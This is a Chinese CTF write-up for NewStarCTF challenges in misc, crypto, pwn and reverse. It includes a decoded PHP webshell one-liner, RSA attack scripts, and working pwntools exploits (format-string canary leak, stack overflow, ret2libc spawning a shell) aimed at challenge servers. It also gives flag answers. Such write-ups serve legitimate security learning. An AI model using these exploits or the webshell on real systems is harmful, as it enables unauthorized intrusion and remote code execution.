LSQwUCUyOUhOMTpUVikKWj1RQEMwNSklNlElKD0mLTc0Ni01MDUpJCw0OTMzJzUjPUcxTDZUPS4sUTkwMiZaITRJKU40J1JPOyU5WQpaNFAtOTQ0QEw1U0gsLCROSjZTVig9RiU4MDRSJTJSPScxJ1IpPjcxWTVIKEc+NVZJMSdSODFIKUoxSjkoClosJCUyLTVWOjRUYEg2NSVTPjQtKDlTWjY7IyFJMFNIQz41Uko0UCEjMVBOODJUPTY+JC0oOVNaNz42KU8KWjBKPSU0UT0nMSYlKD4jTlQyJFI2OzVWWTZQJSI9SDhEMFFSLjskTkkyJkQ5NEgoSDZRPS0xJU4mPSZaKApaMiM1IzZSLTY5SFJaM0c5IzFUYEgyIyFHLEhWKDw0KSozUy1BNlFSJTNROTEzIyUoPiYpWTVTSCg5JC0pClowNFYmPUdDQzBHTlM5Uj0wMiZEOiwnMEgwVDxENTQ9SzpQKSE7N1IsMDQ9JC40OVotJ1YqPUpgTDE3OTMKWjVRJUw0Ryk5NDNgQzBHTk87NE4wMiMxMD42KVk1R1IsLSVWTDEjNSk7JlVDNjQ5Sy0kTlosIykiOyclLgpaMTZILTE0PUsuIzklOydOWDA0TkQwUjlaNEg5KTIkQEQxUjEvNDQpMTEmLTo7NCUnMlQ9LDpHNVo0SUwhCloyJ2BMMSZEWDE0Tko0Uk4qPUYxSjBROTo6RzVaNEhWOjI0MEwxSCUyPjQpJjMjNSgsNilMNjUhJTw1VloKWjM0TiMxVDBYMDUlTDtRLScxIyUiNDUtNjBSKVMsNEBDMSYpOTI1PSo2JSVXLCQpJz0mSCg7IyUvMDdSJApaLTQxVzhJTDkxRzFYMlE9SDVRKSY2U0Q3LCRdOjZSJSQtNDlZLDQ5KT1UMEswND1LPTQtKDw1KSc0NFI1CloxSk5DOVElMDImLSEyNDUqNVNHRDFRUkwzUCk3MVFSJzBHTkctNU4nMTQxODFUMVk1U0goLDUhTDhQKSEKWjQzIUs2ND0lMlE5SjVQISMxSiFYMjUlLzZSVik0UDUnNDUtNjI3TksuJThDLSdOIjs0Q0gxSCU2LEcpJgpaOlA9ITQkTlcwSjk6OEhWMS0jKTg0U1VEMVQ9TDVRJSg9NFY6MUg5TTY0OSg2JFZKMSMpKTIlVUQxNkhMClo0NVIxMTQpOjQ1OUo2JD1PLjROJjImTjoyNDBMNiQ9KTFRPUo1UE42OzUpTTA1KUQ1UlInMzQ9JTQjYEoKWjInPUw2JVIxMiZaIj1HNSU2UikoOlElJj01NTk0SD0mNlFMUDtSVkkwNCk3MUcwRDI3QEM6RzlKPiZEOQpaPUc1IjFUPEMsNE5KOFBSJj5RXTY2UU5MNVFOWi0nTiMyJ0BYNUdARy1SVig9NFYnMUdIJTBHQEstNE4mCloxNSkhMicwRDVRPSQ4NT0mOFApITszIVM0Jz1XLjROJiwmSDo7JERYMFQ8Ryw1UiY4UCk3OzMhSDZTSCUKVTRSUko9NU46MUdLTDVQIUQ8NU4oMjQ1KT1TKVkyJFIsOiQwRTNKMTA+UUw4KUVRVioyUVYuQ2BgCmAK')))));";


$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
echo $shell;

得到webshell

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

img

jvav

java盲水印
BlindWatermark
img
img

flag

flag{3bb3c3a628a94c}

Crypto

不止一个pi

问一下GPT出脚本

import gmpy2
from Crypto.Util.number import long_to_bytes, inverse

q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337

php3 = p**2 * (p-1)
phq2 = q * (q-1)
phi = php3 * phq2
p3 = p**3
q2 = q**2
n = p3 * q2
e = 65537
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

flag

flag{bu_zhi_yige_p1dsaf}

Rotate_Xor

照着脚本反着写就行
但是按flag的意思,Z3才是正解?不管了

from pwn import xor
from Crypto.Util.number import *

enc_k1 = 7318833940520128665
k2 = 9982833494309156947
ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'

def round_rotate_right(num, step):
    return ((num) >> step | num << (64-step)) & 0xffffffffffffffff

def decrypt_key(key):
    for _ in range(ROUND):
        key ^= k2
        key = round_rotate_right(key, 3)
    return key
ROUND = 12
dec_k1 = decrypt_key(enc_k1)
plaintext = xor(ciphertext, long_to_bytes(dec_k1))
print(plaintext)
#'flag{z3_s0lv3r_15_bri11i4nt}'

flag

flag{z3_s0lv3r_15_bri11i4nt}

滴啤

RSA dp泄露

import gmpy2

e = 65537
n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

for x in range(1, e):
	if(e * dp %x == 1):
		p = (e * dp - 1) // x + 1
		if(n%p!=0):
			continue
		q = n//p
		phin = (p-1) * (q-1)
		d = gmpy2.invert(e, phin)
		m = gmpy2.powmod(c, d, n)
		if(len(hex(m)[2:])%2==1):
			continue
		#print(m)
		#print(hex(m)[2:])
		print(bytes.fromhex(hex(m)[2:]))
# flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}

flag

flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}

halfcandecode

第一部分RSA,第二部分MD5


import hashlib
import itertools
from Crypto.Util.number import *
import gmpy2
e = 65537
c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
phi = (p -1 ) * (q - 1)
d = inverse(e, phi)
flag1 = long_to_bytes(pow(c ,d ,n))[:14].decode()
enc = [
  '4a8a08f09d37b73795649038408b5f33',
  '03c7c0ace395d80182db07ae2c30f034',
  'e1671797c52e15f763380b45e841ec32',
  'b14a7b8059d9c055954c92674ce60032','e358efa489f58062f10dd7316b65649e',
  'cfcd208495d565ef66e7dff9f98764da',
  'b14a7b8059d9c055954c92674ce60032',
  '8fa14cdd754f91cc6554c9e71929cce7',
  '0cc175b9c0f1b6a831c399e269772661',
  '4a8a08f09d37b73795649038408b5f33',
  'e358efa489f58062f10dd7316b65649e',
  'cfcd208495d565ef66e7dff9f98764da',
  '4b43b0aee35624cd95b910189b3dc231',
  'cbb184dd8e05c9709e5dcaedaa0495cf']
# 生成所有ASCII可见字符
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
combinations = itertools.product(characters, repeat=1)
# 创建一个字典以存储已知哈希值和对应的原始字符
hashes_dict = {hash_val: None for hash_val in enc}
# 遍历所有组合,计算哈希值并与已知的哈希值进行比较
for combo in combinations:
    plaintext = ''.join(combo)
    hash1 = hashlib.md5(plaintext.encode()).hexdigest()
    if hash1 in enc:
        hashes_dict[hash1] = plaintext
flag2 = ''
for i in enc:
  flag2 += hashes_dict[i]

print(flag1+flag2)
# flag{two_cloabcse_t0_fact0r}

flag

flag{two_cloabcse_t0_fact0r}

partial decrypt

乘以逆元直接恢复

from Crypto.Util.number import *
m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

m = (h * q) + m2
print(long_to_bytes(m))
# b'flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}'

flag

flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}

Brocast

RSA 广播攻击

from gmpy2 import *
from pwn import *
from Crypto.Util.number import *


def crt(n_list, c_list):
    n = 1
    for i in n_list:
        n *= i
    N = []
    for i in n_list:
        N.append(n // i)
    t = []
    for i in range(len(n_list)):
        t.append(invert(N[i], n_list[i]))

    summary = 0
    for i in range(len(n_list)):
        summary = (summary + c_list[i] * t[i] * N[i]) % n
    return summary


io = remote('node4.buuoj.cn', 27954)
e = 17
n_list = []
c_list = []
for i in range(17):
    io.sendlineafter(b'> ', b'1')  # 等待收到input> 后发送1
    n = int(io.recvline().decode()[3:])  # 接收一行数据 即 n: xxxx
    c = int(io.recvline().decode()[3:])  # 接收一行数据 即 c: xxxx
    e = int(io.recvline().decode()[3:])
    n_list.append(n)
    c_list.append(c)

M = crt(n_list, c_list)
m = iroot(M, e)[0]
flag = long_to_bytes(m)
print(flag)

img

flag

flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}

PWN

canary

from pwn import *
from ctypes import *
from struct import pack
banary = "./canary"
elf = ELF(banary)

ip = 'node4.buuoj.cn'
port = 26153
local = 0
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

io.recvuntil("Give me some gift?\n")
io.sendline("aaaaaaaa%11$p")
io.recvuntil("aaaaaaaa")
canary = int(io.recvuntil(b'00').decode(),16)
print(hex(canary))
io.recvuntil("Show me your magic")
io.send(b'a'*(0x30-8) + p64(canary) + b'a'*8 + p64(0x401262))
io.interactive()

img

secret number

img

from pwn import *
from ctypes import *
from struct import pack
banary = "./secret number"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 26840
local = 0
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
secret = 0x404c
io.sendlineafter("Give me some gift?(0/1)\n",'1')
payload = b'aaaaaaaa%17$p'
io.sendlineafter("What's it\n",payload)
io.recvuntil('aaaaaaaa')
main = int(io.recvuntil('f5')[-12:],16)
print(hex(main))
pie = main - 0x12F5
secret_addr = secret + pie
io.sendlineafter("Give me some gift?(0/1)\n",'1')
payload = fmtstr_payload(8,{secret_addr:1})
io.sendlineafter("What's it\n",payload)
io.sendlineafter("(0/1)\n",'0')
io.sendlineafter("Guess the number\n",'1')
io.interactive()

img

ret2libc

img

from pwn import *
from ctypes import *
from struct import pack
banary = "./ret2libc"
elf = ELF(banary)

ip = 'node4.buuoj.cn'
port = 25704
local = 0
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi = 0x400763
ret = 0x4006F1

payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

base = puts - 0x80970
sys_addr = base + 0x4f420
binsh = base + 0x1b3d88

payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
io.sendline(payload)
io.interactive()

img

Reverse

PZthon

pyinstxtractor 解包,是python 3.9的
img
uncompyle6 不支持3.9,考虑pycdc
img

def hello():
    art = '\n              ___                                                                      \n    //   ) )     / /    //   ) )  // | |     / /        // | |  \\ / / \\    / /       \n   //___/ /     / /    //        //__| |    / /        //__| |   \\  /   \\  / /        \n  / ____ /     / /    //  ____  / ___  |   / /        / ___  |   / /     \\/ /         \n //           / /    //    / / //    | |  / /        //    | |  / /\\     / /          \n//           / /___ ((____/ / //     | | / /____/ / //     | | / /  \\   / /           \n                                                                                       \n     / /        //   / / ||   / / //   / /  / /       /__  ___/ ||   / |  / / //   ) ) \n    / /        //____    ||  / / //____    / /          / /     ||  /  | / / //   / /  \n   / /        / ____     || / / / ____    / /          / /      || / /||/ / //   / /   \n  / /        //          ||/ / //        / /          / /       ||/ / |  / //   / /    \n / /____/ / //____/ /    |  / //____/ / / /____/ /   / /        |  /  | / ((___/ /     \n'
    print(art)
    return bytearray(input('Please give me the flag: ').encode())

enc = [
  115,121,116,114,110,76,37,96,88,116,113,
  112,36,97,65,125,103,37,96,114,125,65,39,
  112,70,112,118,37,123,113,69,79,82,84,89,
  84,77,76,36,112,99,112,36,65,39,116,97,36,
  102,86,37,37,36,104]
data = hello()
for i in range(len(data)):
    data[i] = data[i] ^ 21
if bytearray(enc) == data:
    print('WOW!!')
else:
    print('I believe you can do it!')
input('To be continue...')

直接解

exp

enc = [
  115,121,116,114,110,76,37,96,88,116,113,
  112,36,97,65,125,103,37,96,114,125,65,39,
  112,70,112,118,37,123,113,69,79,82,84,89,
  84,77,76,36,112,99,112,36,65,39,116,97,36,
  102,86,37,37,36,104]
flag = ''
    
for i in enc:
    flag += chr(i ^ 21)
print(flag)
#flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}

flag

flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}

Petals

花指令
img
nop一下
img
在120A处按p生成函数
img
主函数中可知长度为25,最终flag要md5
img

exp

#include <iostream>
#include <cstdlib>
int v6[255];
int main() {

    int enc[] = {
        0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89, 
        0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1, 
        0xD2, 0x82, 0xD3, 0xDE, 0x87
    };
    for(int i=0; i<=255; i++) v6[i] = ~(i ^ 25);
    for(int i=0; i<25; i++) printf("%c",v6[enc[i]]);
    return 0;
}
//66ccff#luotianyi#b074d58a

flag

flag{d780c9b2d2aa9d40010a753bc15770de}

C?C++?

.net逆向用dnSpy
找到main,反着操作即可
img

exp

#include <iostream>
#include <cstdlib>
char key[]="NEWSTAR";
int main() {
    int enc[] = {
        68,75,66,72,99,19,19,78,83,74,
        91,86,35,39,77,85,44,89,47,92,
        49,88,48,91,88,102,105,51,76,115,
        -124,125,79,122,-103
    };
    for (int k = 0; k < 7; k++){
      enc[k] -= k ^ (-(int(key[k]) % 4));
      enc[k+7] -= int(key[k]) % 5;
      enc[k+14] -= (2*k);
      enc[k+21] -= k ^ 2;
      enc[k+28] -= int(int(key[k]) / 5) + int('\n');
    }
    for (int i=0; i<35; i++)
      printf("%c",enc[i] + int(' ') - i);
    return 0;
}
//flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}

flag

flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}

AndroGenshin

jadx 打开找到mainactivity
img
base64_table中有一个ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION询问ChatGPT得值为250
img
然后分别看it_is_not_rc4和it_is_not_base64
img
img
就是rc4加密和base64编码,写脚本梭一下就可以

exp

import base64
from Crypto.Cipher import ARC4
def custom_base64_decode(data):
    # 创建标准Base64字符集和自定义字符集的映射表
    base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    char_map = str.maketrans( custom_chars, base64_chars)
    # 替换为自定义字符
    data = data.translate(char_map)
    # 使用标准Base64解码
    decoded_data = base64.b64decode(data).decode()
    return decoded_data

base64_table =[125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 250, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
enc = b''.join([bytes([i]) for i in base64_table])

username = b'genshinimpact'
rc4 = ARC4.new(username)
retval = rc4.encrypt(enc)
custom_chars = retval.decode()
#print(custom_chars)
cipher = 'YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1='
flag = custom_base64_decode(cipher)
print(flag)
#flag{0h_RC4_w1th_Base64!!}

flag

flag{0h_RC4_w1th_Base64!!}

SMC

明显的SMC
img
先看看 sub_401042,这是SMC加密函数
img
idapython脚本运行一下,解SMC
img

addr = 0x403040  
key = [0x11,0x22,0x33,0x44]
for i in range(38):
    b = get_bytes(addr + i, 1)
    idc.patch_byte(addr + i, ord(b) ^ key[i & 3])

选中0x403040到0x403068的内容按C生成汇编代码(记得force,analyze会失败),再按P生成函数
img
得到加密函数
img
提取一下byte_403020解密就行

exp

enc = [
  0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 
  0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 
  0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 
  0x33, 0x71]
flag = ''
for i in enc:
   flag += chr(i - 5 ^ 0x11)
print(flag)
#flag{SMC_1S_1nt3r3sting!!R1ght?}

flag

flag{SMC_1S_1nt3r3sting!!R1ght?}

easy_enc

flag 限定是大小写字母,可以考虑爆破
img
先看汇编获取enc,伪代码不直观(在这里被坑了好久,就因为少了一位字符串结尾的0x00)
img
加密在sub_1400113C5;sub_1400113CA;sub_1400113F2;sub_1400113ED;里
img
img
img
img

exp

enc = [
  0xE8, 0x80, 0x84, 0x08, 0x18, 0x3C, 0x78, 0x68, 0x00, 0x70, 
  0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8, 
  0x0C, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30]
#table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
tmp = [0] * 29
for j in range(29):
  for i in range(65,123):
      if 0x30 <= i <= 0x39:
         tmp[j] = ((i - 45) % 10 + 48)
      elif 0x41<= i <= 0x5A:
         tmp[j] = ((i - 52) % 26 + 65)
      elif 0x61 <= i <= 0x7A:
         tmp[j] = ((i - 89) % 26 + 97)
      else: tmp[j] = i
     
      key = 'NewStarCTF'
      tmp[j] += ord(key[j % len(key)])
      tmp[j] = ~tmp[j]
      tmp[j] = (tmp[j] * 52) & 0xff
      if(tmp[j] == enc[j]):
         flag += chr(i)
      else: continue
print(flag)
#BruteForceIsAGoodwaytoGetFlag

flag

flag{BruteForceIsAGoodwaytoGetFlag}

R4ndom

这题因为随机数问题卡了好久
Linux下的rand()和Windows下的rand()跑出来的随机数是不同的
主函数很简单,随机出一个长度为42的随机数列,然后用这随机数列和flag计算出一个下标
最后去Table中寻找对应字符得到s2,s2注意小端序
img
在函数b(void)中找到随机数种子
img
先在linux下跑出随机数列

#include <stdio.h>
#include <stdlib.h>
int v4[50];
char s[50];
int main() {
  srand(0x5377654E);
  for(int i=0; i<42; i++) v4[i] = rand()% 255;
  for(int i=0; i<42; i++) printf("%d, ",v4[i]);
  return 0;
}
//51, 137, 172, 215, 84, 204, 74, 165, 53, 209, 219, 163, 230, 147, 15, 127, 149, 77, 231, 101, 128, 175, 107, 210, 204, 205, 20, 173, 141, 105, 198, 64, 242, 242, 24, 71, 64, 226, 108, 117, 180, 72

img
最后直接爆破

exp

#include <stdio.h>
#include <stdlib.h>
int v4[50];
char s[50];
int main() {
    unsigned char Table[] ={
  0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 
  0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 
  0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 
  0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 
  0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 
  0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 
  0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 
  0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 
  0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 
  0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 
  0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 
  0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 
  0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 
  0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 
  0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 
  0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 
  0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 
  0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 
  0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 
  0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 
  0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 
  0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 
  0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 
  0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 
  0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 
  0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16};
    unsigned char s2[] = {
  0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B,
  0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E, 0xBD, 0x4F, 0xFA, 0xEE,
  0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14,
  0x30, 0x38, 0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA,
  0x55, 0xA6};
  
  unsigned int v4[] ={51, 137, 172, 215, 84, 204, 74, 165, 53, 209, 219, 163, 230, 147, 15, 127, 149, 77, 231, 101, 128, 175, 107, 210, 204, 205, 20, 173, 141, 105, 198, 64, 242, 242, 24, 71, 64, 226, 108, 117, 180, 72};
  //for(int i=0; i<42; i++) printf("%d ",v4[i]);
    for(int len=0; len<42; len++){
      int find = 0;
      for(char c=' '; c<='~'; c++){
        if(find == 0){
            char v3=c;
            //printf("%d ",v4);
            if(Table[(16 * ((unsigned __int8)((int)v3 + v4[len]) >> 4) + 15) & (unsigned __int8)((int)v3 + v4[len])] == s2[len]){
                s[len] = c;
                find = 1;
              } 
          }else break;
        }
    }
    for(int i=0; i<42; i++) printf("%c", s[i]);
    return 0;
}
//flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}

flag

flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}

AndroDbgMe(未做出,复盘)

要用到APKTool
还需要Android SDK
以及JEB Decompiler
先用APKTool解包
java -jar apktool_2.8.1.jar d AndroDbgme.apk
img
在解包出来的文件中的AndroidManifest.xml中添加
debuggable="true"
img
重新打包
java -jar apktool_2.8.1.jar b AndroDbgme -o AndroDbgme_unsigned.apk
img
对文件进行对齐
zipalign -p -f -v 4 AndroDbgme.apk AndroDbgme_unsigned.apk
img
生成keystore
keytool -genkey -alias abc.keystore -keyalg RSA -validity 20000 -keystore abc.keystore
img
加签名
apksigner sign --ks abc.keystore AndroDbgme_unsigned.apk
img
安装至模拟器,以调试模式启动

adb shell
am start -D -n com.chick.androdbgme/.MainActivity

img
img
运行jeb_wincon.bat
打开AndroDbgme_unsigned.apk
-debugger-start
img
attach之后,点击 let's go即可
img

flag

flag{Let_1t_run_@t_f1rs7_m@ybe_th3_b3st}

posted @ 2023-10-02 23:45  Tree_24  阅读(210)  评论(0编辑  收藏  举报